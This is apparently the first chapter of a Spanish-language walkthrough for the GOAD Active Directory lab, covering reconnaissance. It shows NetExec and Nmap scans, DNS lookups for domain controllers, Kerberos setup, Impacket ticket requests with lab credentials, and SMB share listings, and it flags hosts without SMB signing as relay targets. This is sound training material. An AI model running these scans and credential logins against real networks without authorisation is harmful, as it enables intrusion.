# 1. Reconocimiento y escaneo El laboratorio ya está operativo para la introducción de GOAD, vamos a hacer algo de reconocimiento. ## Enumerar la red Comenzaremos el reconocimiento del entorno de Game Of Active Directory buscando todas las IPs disponibles. ![image](https://hackmd.io/_uploads/SkgO1-8MR.png) ### Primer reconocimiento con nxc Lo primero que hago personalmente antes de lanzar un Nmap es escanear en busca de resultados de NetBIOS. Para ello, lanzo NetExec (nxc) en el rango de IP para obtener rápidamente respuestas de NetBIOS de los ordenadores Windows. Es una manera muy rápida de obtener todas las IPs de las máquinas Windows, nombres y dominios. ``` nxc smb 192.168.10.0/24 ``` ![image](https://hackmd.io/_uploads/SymIZbIfA.png) ¡Este comando responde relativamente rápido y devuelve mucha información útil! Ahora sabemos que hay 3 dominios: * north.sevenkingdoms.local (2 IPs) * CASTELBLACK (servidor Windows 2019) (firma en falso) * WINTERFELL (servidor Windows 2019) * sevenkingdoms.local (1 IPs) * KINGSLANDING (servidor Windows 2019) * essos.local (2 IPs) * BRAAVOS (servidor Windows 2016) (firma en falso) * MEEREEN (servidor Windows 2019) Aquí, como tenemos 3 dominios, sabemos que deben configurarse tres DCs. También sabemos que Microsoft configura la firma SMB de los DC como verdadera por defecto. Por lo tanto, todos los DC son los que tienen la firma en verdadero. (En un entorno seguro, la firma debe ser verdadera en todas partes para evitar el NTLM relay). ### Encontrar la IP del DC ![image](https://hackmd.io/_uploads/ByEdM-LG0.png) Vamos a enumerar los DCs consultando el DNS con nslookup ``` nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.10.10 nslookup -type=srv _ldap._tcp.dc._msdcs.north.sevenkingdoms.local 192.168.10.10 nslookup -type=srv _ldap._tcp.dc._msdcs.essos.local 192.168.10.10 ``` ![image](https://hackmd.io/_uploads/H1osBZ8GC.png) ### Configurar /etc/hosts y Kerberos Para usar Kerberos en nuestro entorno Linux realizaremos algunas configuraciones. Primero debemos establecer el DNS configurando el archivo /etc/hosts. ``` sudo nano /etc/hosts ``` ``` # GOAD 192.168.10.10 sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding 192.168.10.11 winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell 192.168.10.12 essos.local meereen.essos.local meereen 192.168.10.22 castelblack.north.sevenkingdoms.local castelblack 192.168.10.23 braavos.essos.local braavos ``` Debemos instalar el cliente Kerberos de Linux. ``` sudo apt install krb5-user -y ``` Respondemos las preguntas con: * Realm: essos.local * Servers: meereen.essos.local Configuraremos el archivo /etc/krb5.conf de esta manera: ``` sudo nano /etc/krb5.conf ``` ``` [libdefaults] default_realm = essos.local kdc_timesync = 1 ccache_type = 4 forwardable = true proxiable = true rdns = false fcc-mit-ticketflags = true [realms] north.sevenkingdoms.local = { kdc = winterfell.north.sevenkingdoms.local admin_server = winterfell.north.sevenkingdoms.local } sevenkingdoms.local = { kdc = kingslanding.sevenkingdoms.local admin_server = kingslanding.sevenkingdoms.local } essos.local = { kdc = meereen.essos.local admin_server = meereen.essos.local } ``` Si krb5-user ya está instalado, podemos reconfigurarlo con (dpkg-reconfigure o modificando /etc/krb5.conf) ``` sudo dpkg-reconfigure krb5-config ``` Ahora que Kerberos está configurado en nuestro entorno, intentaremos ver si podemos obtener un TGT para un usuario. ``` impacket-getTGT essos.local/khal.drogo:horse ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra [*] Saving ticket in khal.drogo.ccache ``` ``` export KRB5CCNAME=/home/kali/khal.drogo.ccache ``` ``` impacket-smbclient -k @braavos.essos.local ``` ``` impacket-smbclient -k @braavos.essos.local Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra Type help for list of commands # shares ADMIN$ all C$ CertEnroll IPC$ public # use C$ # ls drw-rw-rw- 0 Mon Apr 22 10:51:58 2024 $Recycle.Bin drw-rw-rw- 0 Wed Mar 20 23:32:13 2024 aaAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7 drw-rw-rw- 0 Wed Mar 20 23:32:09 2024 aaAntiRansomElastic-DO-NOT-TOUCH-def6d40c-a6a1-442c-adc4-9d57a47e58d7 drw-rw-rw- 0 Sat Mar 16 21:46:04 2024 Boot -rw-rw-rw- 389396 Sat Mar 16 21:46:04 2024 bootmgr -rw-rw-rw- 1 Sat Mar 16 21:46:04 2024 BOOTNXT -rw-rw-rw- 8192 Sat Mar 16 21:46:04 2024 BOOTSECT.BAK -rw-rw-rw- 1180 Sat Mar 16 17:34:55 2024 dns_log.txt drw-rw-rw- 0 Sat Mar 16 13:48:28 2024 Documents and Settings drw-rw-rw- 0 Sat Mar 16 16:26:06 2024 inetpub -rw-rw-rw- 901451776 Sat May 4 05:46:34 2024 pagefile.sys drw-rw-rw- 0 Sat Mar 16 21:45:26 2024 PerfLogs drw-rw-rw- 0 Mon Mar 18 11:02:35 2024 Program Files drw-rw-rw- 0 Sat Mar 16 16:39:02 2024 Program Files (x86) drw-rw-rw- 0 Tue Mar 26 10:19:18 2024 ProgramData drw-rw-rw- 0 Sat Mar 16 13:48:39 2024 Recovery drw-rw-rw- 0 Sat Mar 16 16:37:17 2024 setup drw-rw-rw- 0 Sat Mar 16 16:55:49 2024 shares drw-rw-rw- 0 Mon May 6 09:13:06 2024 System Volume Information drw-rw-rw- 0 Sat Mar 16 16:19:23 2024 tmp drw-rw-rw- 0 Mon Apr 22 10:51:42 2024 Users drw-rw-rw- 0 Thu Apr 25 15:05:35 2024 Windows drw-rw-rw- 0 Wed Mar 20 23:32:15 2024 zzAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7 drw-rw-rw- 0 Wed Mar 20 23:32:11 2024 zzAntiRansomElastic-DO-NOT-TOUCH-def6d40c-a6a1-442c-adc4-9d57a47e58d7 ``` Bien, la configuración de Kerberos está correcta :) Ahora podríamos eliminar el ticket: ``` unset KRB5CCNAME ``` Si Kerberos no funciona en Winterfell con el FQDN completo, se puede solucionar solo configurando winterfell en lugar de winterfell.north.sevenkingdoms.local. ``` impacket-getTGT north.sevenkingdoms.local/arya.stark:Needle ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra [*] Saving ticket in arya.stark.ccache ``` ``` export KRB5CCNAME=/home/kali/arya.stark.ccache ``` ``` impacket-smbclient -k -no-pass @winterfell ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra Type help for list of commands # shares ADMIN$ C$ IPC$ NETLOGON SYSVOL # use SYSVOL # ls drw-rw-rw- 0 Sat Mar 16 15:58:35 2024 . drw-rw-rw- 0 Sat Mar 16 15:58:35 2024 .. drw-rw-rw- 0 Sat Mar 16 15:58:35 2024 north.sevenkingdoms.local ``` ### Nmap Una cosa que hay que saber es que Nmap hará un ping antes de escanear el objetivo. Si el objetivo no responde al ping, será ignorado. La forma de asegurarnos de que no nos perdemos nada en TCP, podría ser escanear con las siguientes opciones: ``` nmap -Pn -p- -sC -sV -oA full_scan_goad 192.168.10.10-12,22-23 ``` Vamos a analizar este comando: * `-Pn` no hacer ping y escanear todas las IPs * `-p-` escanear los 65535 puertos en lugar de los 1000 puertos principales de Nmap por defecto * `-sC` ejecutar los scripts predeterminados para reconocimiento * `-sV` enumerar la versión * `-oA` escribir resultados en los 3 formatos disponibles (Nmap clásico, formato Grep, formato XML) El resultado completo del escaneo es: ``` Nmap scan report for sevenkingdoms.local (192.168.10.10) Host is up (0.034s latency). Not shown: 65505 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-06 08:12:52Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local | Not valid before: 2024-03-16T15:17:14 |_Not valid after: 2025-03-16T15:17:14 |_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local | Not valid before: 2024-03-16T15:17:14 |_Not valid after: 2025-03-16T15:17:14 |_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local | Not valid before: 2024-03-16T15:17:14 |_Not valid after: 2025-03-16T15:17:14 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local | Not valid before: 2024-03-16T15:17:14 |_Not valid after: 2025-03-16T15:17:14 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local | Not valid before: 2024-03-15T13:17:18 |_Not valid after: 2024-09-14T13:17:18 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | rdp-ntlm-info: | Target_Name: SEVENKINGDOMS | NetBIOS_Domain_Name: SEVENKINGDOMS | NetBIOS_Computer_Name: KINGSLANDING | DNS_Domain_Name: sevenkingdoms.local | DNS_Computer_Name: kingslanding.sevenkingdoms.local | DNS_Tree_Name: sevenkingdoms.local | Product_Version: 10.0.17763 |_ System_Time: 2024-05-06T08:15:48+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found | ssl-cert: Subject: commonName=VAGRANT-2019 | Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019 | Not valid before: 2024-03-15T12:39:03 |_Not valid after: 2027-03-15T12:39:03 |_http-server-header: Microsoft-HTTPAPI/2.0 | tls-alpn: |_ http/1.1 |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49791/tcp open msrpc Microsoft Windows RPC 49914/tcp open msrpc Microsoft Windows RPC Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-05-06T08:15:48 |_ start_date: N/A Nmap scan report for winterfell.north.sevenkingdoms.local (192.168.10.11) Host is up (0.031s latency). Not shown: 65507 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-06 08:13:00Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local | Not valid before: 2024-03-17T00:41:38 |_Not valid after: 2025-03-17T00:41:38 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local | Not valid before: 2024-03-17T00:41:38 |_Not valid after: 2025-03-17T00:41:38 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local | Not valid before: 2024-03-17T00:41:38 |_Not valid after: 2025-03-17T00:41:38 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local | Not valid before: 2024-03-17T00:41:38 |_Not valid after: 2025-03-17T00:41:38 |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local | Not valid before: 2024-03-15T14:59:08 |_Not valid after: 2024-09-14T14:59:08 |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=VAGRANT-2019 | Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019 | Not valid before: 2024-03-15T12:39:03 |_Not valid after: 2027-03-15T12:39:03 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49679/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49680/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49706/tcp open msrpc Microsoft Windows RPC 49759/tcp open msrpc Microsoft Windows RPC 49997/tcp open msrpc Microsoft Windows RPC Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: -1s, deviation: 0s, median: -1s | smb2-time: | date: 2024-05-06T08:16:00 |_ start_date: N/A Nmap scan report for essos.local (192.168.10.12) Host is up (0.035s latency). Not shown: 65506 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-06 08:13:52Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=meereen.essos.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local | Not valid before: 2024-03-16T15:17:31 |_Not valid after: 2025-03-16T15:17:31 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. 445/tcp open 1 Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=meereen.essos.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local | Not valid before: 2024-03-16T15:17:31 |_Not valid after: 2025-03-16T15:17:31 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name) |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=meereen.essos.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local | Not valid before: 2024-03-16T15:17:31 |_Not valid after: 2025-03-16T15:17:31 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=meereen.essos.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local | Not valid before: 2024-03-16T15:17:31 |_Not valid after: 2025-03-16T15:17:31 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=meereen.essos.local | Not valid before: 2024-03-15T13:17:12 |_Not valid after: 2024-09-14T13:17:12 | rdp-ntlm-info: | Target_Name: ESSOS | NetBIOS_Domain_Name: ESSOS | NetBIOS_Computer_Name: MEEREEN | DNS_Domain_Name: essos.local | DNS_Computer_Name: meereen.essos.local | DNS_Tree_Name: essos.local | Product_Version: 10.0.14393 |_ System_Time: 2024-05-06T08:15:51+00:00 |_ssl-date: 2024-05-06T08:16:26+00:00; -2s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=VAGRANT-2016 | Subject Alternative Name: DNS:VAGRANT-2016, DNS:vagrant-2016 | Not valid before: 2024-03-15T12:49:26 |_Not valid after: 2027-03-15T12:49:26 |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | tls-alpn: | h2 |_ http/1.1 6783/tcp open ssl/splashtop Splashtop Remote Server |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: | Not valid before: 2024-04-27T12:08:19 |_Not valid after: 2025-04-27T12:08:19 7070/tcp open ssl/realserver? |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=AnyDesk Client | Not valid before: 2024-04-24T11:02:57 |_Not valid after: 2074-04-12T11:02:57 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC 49696/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC 49951/tcp open msrpc Microsoft Windows RPC Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-05-06T08:16:05 |_ start_date: 2024-04-27T12:08:02 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: meereen | NetBIOS computer name: MEEREEN\x00 | Domain name: essos.local | Forest name: essos.local | FQDN: meereen.essos.local |_ System time: 2024-05-06T10:16:04+02:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: -11m59s, deviation: 37m51s, median: -1s Nmap scan report for castelblack.north.sevenkingdoms.local (192.168.10.22) Host is up (0.035s latency). Not shown: 65515 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 192.168.10.22:1433: | Target_Name: NORTH | NetBIOS_Domain_Name: NORTH | NetBIOS_Computer_Name: CASTELBLACK | DNS_Domain_Name: north.sevenkingdoms.local | DNS_Computer_Name: castelblack.north.sevenkingdoms.local | DNS_Tree_Name: sevenkingdoms.local |_ Product_Version: 10.0.17763 | ms-sql-info: | 192.168.10.22:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-20T22:26:42 |_Not valid after: 2054-03-20T22:26:42 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local | Not valid before: 2024-03-15T16:12:31 |_Not valid after: 2024-09-14T16:12:31 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time. | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-HTTPAPI/2.0 | ssl-cert: Subject: commonName=VAGRANT-2019 | Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019 | Not valid before: 2024-03-15T12:39:03 |_Not valid after: 2027-03-15T12:39:03 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49674/tcp open msrpc Microsoft Windows RPC 49792/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-20T22:26:42 |_Not valid after: 2054-03-20T22:26:42 | ms-sql-ntlm-info: | 192.168.10.22:49792: | Target_Name: NORTH | NetBIOS_Domain_Name: NORTH | NetBIOS_Computer_Name: CASTELBLACK | DNS_Domain_Name: north.sevenkingdoms.local | DNS_Computer_Name: castelblack.north.sevenkingdoms.local | DNS_Tree_Name: sevenkingdoms.local |_ Product_Version: 10.0.17763 |_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time. | ms-sql-info: | 192.168.10.22:49792: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 49792 53255/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-05-06T08:16:11 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Nmap scan report for braavos.essos.local (192.168.10.23) Host is up (0.029s latency). Not shown: 65516 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-20T22:26:28 |_Not valid after: 2054-03-20T22:26:28 | ms-sql-info: | 192.168.10.23:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time. | ms-sql-ntlm-info: | 192.168.10.23:1433: | Target_Name: ESSOS | NetBIOS_Domain_Name: ESSOS | NetBIOS_Computer_Name: BRAAVOS | DNS_Domain_Name: essos.local | DNS_Computer_Name: braavos.essos.local | DNS_Tree_Name: essos.local |_ Product_Version: 10.0.14393 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=braavos.essos.local | Not valid before: 2024-03-15T16:12:26 |_Not valid after: 2024-09-14T16:12:26 |_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time. |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 | tls-alpn: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=VAGRANT-2016 | Subject Alternative Name: DNS:VAGRANT-2016, DNS:vagrant-2016 | Not valid before: 2024-03-15T12:49:26 |_Not valid after: 2027-03-15T12:49:26 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49674/tcp open msrpc Microsoft Windows RPC 49791/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time. | ms-sql-ntlm-info: | 192.168.10.23:49791: | Target_Name: ESSOS | NetBIOS_Domain_Name: ESSOS | NetBIOS_Computer_Name: BRAAVOS | DNS_Domain_Name: essos.local | DNS_Computer_Name: braavos.essos.local | DNS_Tree_Name: essos.local |_ Product_Version: 10.0.14393 | ms-sql-info: | 192.168.10.23:49791: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 49791 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-20T22:26:28 |_Not valid after: 2054-03-20T22:26:28 49836/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: braavos | NetBIOS computer name: BRAAVOS\x00 | Domain name: essos.local | Forest name: essos.local | FQDN: braavos.essos.local |_ System time: 2024-05-06T10:17:49+02:00 | smb2-time: | date: 2024-05-06T08:17:45 |_ start_date: 2024-03-20T22:26:19 |_clock-skew: mean: -13m20s, deviation: 39m58s, median: -1s | 